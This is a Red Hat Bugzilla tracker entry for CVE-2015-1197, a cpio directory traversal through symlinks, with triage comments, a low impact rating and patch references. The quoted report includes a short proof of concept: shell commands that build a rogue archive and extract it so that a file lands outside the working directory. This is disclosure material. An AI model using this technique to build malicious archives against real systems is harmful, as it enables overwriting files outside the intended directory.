Bug 1179773 (CVE-2015-1197) - CVE-2015-1197 cpio: directory traversal through symlinks
Summary: CVE-2015-1197 cpio: directory traversal through symlinks
Alias: CVE-2015-1197
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
Whiteboard: impact=low,public=20150105,reported=2...
Keywords: Security
: CVE-2017-7516 (view as bug list)
Depends On: 1188590
Blocks: 1179777 1458829
TreeView+ depends on / blocked
Reported: 2015-01-07 14:38 UTC by Vasyl Kaigorodov
Modified: 2019-06-08 20:20 UTC (History)
8 users (show)

Clone Of:
Last Closed: 2015-01-22 05:57:08 UTC

Attachments (Terms of Use)

Description Vasyl Kaigorodov 2015-01-07 14:38:42 UTC
It was reported [1] that cpio is susceptible to a directory traversal vulnerability.

Original report follows:
While extracting an archive, it will extract symlinks and then follow them if 
they are referenced in further entries. This can be exploited by a rogue 
archive to write files outside the current directory.


1) create a sample archive:

ln -s /tmp dir
echo dir | cpio -oF test.cpio
rm dir
mkdir dir
echo hello > dir/file
echo dir/file | cpio -oAF test.cpio
rm -r dir

2) test it:

cpio --no-absolute-filenames -ivF test.cpio

This will create a symlink "dir" in the current directory and a file 

No patches are available at this time.

[1]: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=774669

Comment 1 Siddharth Sharma 2015-01-22 05:55:18 UTC

This attack requires to social engineer the user to open the cpio archive, impact of this is low.

Comment 3 Martin Prpič 2015-02-03 10:32:05 UTC
Suse created a patch for this, attached at:


Comment 4 Martin Prpič 2015-02-03 10:35:15 UTC
Created cpio tracking bugs for this issue:

Affects: fedora-all [bug 1188590]

Comment 6 Cedric Buissart 🐶 2018-03-13 11:43:09 UTC
*** Bug 1539685 has been marked as a duplicate of this bug. ***

Note You need to log in before you can comment on or make changes to this bug.